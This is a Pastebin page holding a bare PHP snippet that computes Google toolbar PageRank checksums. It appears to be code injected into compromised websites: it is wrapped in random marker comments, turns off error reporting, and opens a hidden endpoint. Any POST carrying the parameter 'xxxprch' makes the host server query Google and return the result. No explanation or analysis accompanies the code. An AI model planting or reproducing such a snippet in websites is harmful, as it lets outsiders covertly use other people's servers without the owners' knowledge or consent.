Advertisement
Guest User

Untitled

a guest
May 5th, 2011
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.28 KB | None | 0 0
  1. <?php
  2. //{{661119d3
  3.  
  4. GLOBAL $alreadyxxx;
  5. if($alreadyxxx != 1)
  6. {
  7. $alreadyxxx = 1;
  8. $olderrxxx=error_reporting(0);
  9. function StrToNum($Str, $Check, $Magic)
  10. {
  11.    $Int32Unit = 4294967296;
  12.    $length = strlen($Str);
  13.    for ($i = 0; $i < $length; $i++) {
  14.        $Check *= $Magic;
  15.        if ($Check >= $Int32Unit) {
  16.            $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
  17.            $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
  18.        }
  19.        $Check += ord($Str{$i});
  20.    }
  21.    return $Check;
  22. }
  23. function HashURL($String)
  24. {
  25.    $Check1 = StrToNum($String, 0x1505, 0x21);
  26.    $Check2 = StrToNum($String, 0, 0x1003F);
  27.  
  28.    $Check1 >>= 2;
  29.    $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
  30.    $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
  31.    $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
  32.  
  33.    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
  34.    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
  35.  
  36.    return ($T1 | $T2);
  37. }
  38.  
  39. function CheckHash($Hashnum)
  40. {
  41.    $CheckByte = 0;
  42.    $Flag = 0;
  43.  
  44.    $HashStr = sprintf('%u', $Hashnum) ;
  45.    $length = strlen($HashStr);
  46.  
  47.    for ($i = $length-1; $i >= 0;  $i--) {
  48.        $Re = $HashStr{$i};
  49.        if (1 === ($Flag % 2)) {
  50.            $Re += $Re;
  51.            $Re = (int)($Re / 10) + ($Re % 10);
  52.        }
  53.        $CheckByte += $Re;
  54.        $Flag ++;
  55.    }
  56.  
  57.    $CheckByte %= 10;
  58.    if (0 !== $CheckByte) {
  59.        $CheckByte = 10 - $CheckByte;
  60.        if (1 === ($Flag % 2) ) {
  61.            if (1 === ($CheckByte % 2)) {
  62.                $CheckByte += 9;
  63.            }
  64.            $CheckByte >>= 1;
  65.        }
  66.    }
  67.  
  68.    return '7'.$CheckByte.$HashStr;
  69. }
  70.  
  71. function getpr($url)
  72. {
  73.    $ch = CheckHash(HashURL($url));
  74.    $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
  75.    $data = file_get_contents($file);
  76.    $pos = strpos($data, "Rank_");
  77.    if($pos === false){return -1;} else{
  78.        $pr=substr($data, $pos + 9);
  79.        $pr=trim($pr);
  80.        $pr=str_replace("
  81. ",'',$pr);
  82.        return $pr;
  83.    }
  84. }
  85. if(isset($_POST['xxxprch']))
  86. {
  87.     echo getpr($_POST['xxxprch']);
  88.     exit();
  89. }
  90. error_reporting($olderrxxx);
  91. }
  92.  
  93. //}}23720944
  94. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement